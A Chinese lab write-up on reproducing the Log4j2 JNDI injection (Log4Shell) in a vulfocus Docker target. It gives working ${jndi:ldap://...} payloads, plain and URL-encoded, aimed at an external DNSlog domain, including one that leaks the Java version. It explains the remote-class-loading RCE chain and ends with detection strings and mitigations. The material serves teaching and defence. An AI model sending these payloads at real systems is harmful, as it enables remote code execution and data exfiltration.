Log4j漏洞验证与复现

Log4j

什么是log4j漏洞

log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息,log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。

什么是JNDI

JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。JNDI 提供了一种标准的方式来访问各种命名和目录服务,允许从 LDAP、RMI、DNS 等远程服务动态加载数据,其中常用的协议 包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。

漏洞原理

log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。

如果日志消息中包含 ${jndi:ldap://...},Log4j 会主动解析并尝试从该 URL 获取对象

详细过程分析:

log4j2 框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。

当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息,通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找,只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件,而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。

ldap:// 是一种“网络协议”,Log4j2 被诱导去访问一个恶意的 LDAP 服务器,从而被利用。

受影响版本

受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2

环境搭建

docker pull vulfocus/log4j2-rce-2021-12-09:latest

docker run -d -p 9001:8080 vulfocus/log4j2-rce-2021-12-09:latest

将靶场环境的 8080 端口映射到了本地的 9001

 8080 端口是靶场默认所在的位置,后面的 9001 为一个自定义的本地端口号

直接访问本地的 9001 端口即可看到靶场环境

漏洞验证

点击发现一个hello文件,可以注入payload

用dig.pm平台获取子域名,用于制造payload

${jndi:ldap://9acd6470f5.ddns.1433.eu.org.}

应该是对请求进行了url解码,所以我们先编码再传

%24%7bjndi%3aldap%3a%2f%2f9acd6470f5.ddns.1433.eu.org.%7d

连上了

构造payload,获取java版本

${jndi:ldap://${sys:java.version}.9acd6470f5.ddns.1433.eu.org.}

${jndi:ldap://...}
告诉 Log4j 使用 JNDI 的 LDAP 协议发起请求。

${sys:java.version}
这是一个嵌套查找,会先被替换为目标 Java 运行时的版本号(如 1.8.0_202)。
攻击者把这个信息放在子域名中,用于识别目标环境。

9acd6470f5.ddns.1433.eu.org.
这是攻击者控制的域名(通常通过动态 DNS 或免费 DNS 服务)。
域名末尾的 . 是 DNS 中的绝对域名表示,有时用于绕过过滤。

%24%7bjndi%3aldap%3a%2f%2f%24%7bsys%3ajava.version%7d.9acd6470f5.ddns.1433.eu.org.%7d

可以看到java版本是1.8.0_312

就是 sys:java.version 命令被执行了,说明存在漏洞

6.漏洞利用

注入日志
攻击者找到目标应用中被 Log4j 记录日志的任何输入点(例如 HTTP 请求头 User-Agent、X-Forwarded-For、登录用户名、搜索关键词等),发送包含恶意 JNDI 查找的字符串,例如通过 HTTP 请求头 User-Agent: ${jndi:ldap://...},应用随后使用 Log4j 打印该请求头。

Log4j 解析

Log4j 在写日志时发现字符串中包含 ${} 占位符,于是启动查找(Lookup)机制:识别出 jndi: 协议,解析出 LDAP 服务器地址,嵌套的 ${sys:java.version} 会被先替换成实际值(如 1.8.0_202)最终形成类似这样的 URL:ldap://1.8.0_202.攻击者域名/恶意对象

Log4j 调用 JNDI 的 InitialContext.lookup() 方法,向该 LDAP 地址发起查询请求。


Log4j 发现 ${jndi:ldap://...},发起 LDAP 查询到攻击者的域名(注意子域名包含 Java 版本信息)。

攻击者 LDAP 服务器响应

目标服务器的 JVM 通过网络向攻击者控制的 LDAP 服务器发送查询请求,请求中包含完整路径(包括子域名中的 Java 版本信息)
攻击者运行的 LDAP 服务检测到来查询,从子域名中提取出 Java 版本号(用于判断目标环境)

返回一个恶意的 JNDI Reference,指向一个攻击者控制的 HTTP 服务器上的恶意 Java 类文件

(例如Reference 地址: http://攻击者IP/Exploit.class),这个 Reference 告诉目标 JVM:“去这个 HTTP 地址下载类文件,然后加载它”

目标加载恶意类
受攻击的应用(JVM)会尝试从攻击者的 HTTP 服务器下载并会在本地加载该类中的静态代码或构造函数,代码在类加载或实例化时会自动执行。
结果就是 远程代码执行 (RCE)

攻击者接收结果

如果需要回传数据(例如反弹 Shell、文件内容),目标服务器会主动连接攻击者预设的另一个监听端口或外发通道,攻击者从而获得对目标服务器的控制。

log4j2漏洞流量特征

1)恶意请求中包含 JNDI 协议地址:

攻击者通常会在 HTTP 请求或其他网络流量中插入包含 JNDI 协议地址的字符串,如"ldap://"、"rmi://"等。这些字符串会被log4j2解析为 JNDI 查找,从而导致远程代码执行。

(2)日志记录消息中包含可执行代码:

攻击者构造的恶意日志记录消息可能包含可执行的Java代码,如 JNDI 注入 payload 。这些代码会被 log4j2 解析和执行,从而触发远程代码执行漏洞。

(3)异常堆栈中出现与 JNDI 相关的类或方法:

在应用程序的异常堆栈中,可能会出现与JNDI相关的类或方法,如javax.naming.directory.InitialDirContext 等。这表明攻击者已经成功地利用了 log4j2 漏洞,执行了远程代码并导致异常。

(4)大量的异常日志记录:

攻击者可能会尝试多次利用 log4j2 漏洞,因此在日志中可能会出现大量的异常日志记录。这些异常日志记录通常会包含与 JNDI 相关的内容,如 JNDI 协议地址或异常堆栈信息。

防御方法

(1)设置 log4j2.formatMsgNoLookups=True:

这个设置将禁用 log4j2 中的消息查找(Lookups),这样可以防止恶意代码利用 JNDI 注入漏洞。通过设置此选项,log4j2 将不会解析消息中的变量或执行 JNDI 查找。

(2)对包含特定字符串的请求进行拦截:

监测应用程序的日志,如果发现其中包含"jndi:ldap://"、"jndi:rmi://"等可疑字符串,可以使用WAF(Web应用程序防火墙)或 IDS(入侵检测系统)等工具来拦截这些请求,从而阻止潜在的攻击。

(3)对系统进行合理配置,限制对外访问:

配置网络防火墙,限制系统对外部网络的访问,并阻止不必要的业务访问外网。

(4)升级 log4j2 组件到新的安全版本:

及时升级 log4j2 到最新的安全版本,以修复已知的漏洞并增强系统的安全性。

posted @ 2026-04-23 20:55  Doris055  阅读(48)  评论(0)    收藏  举报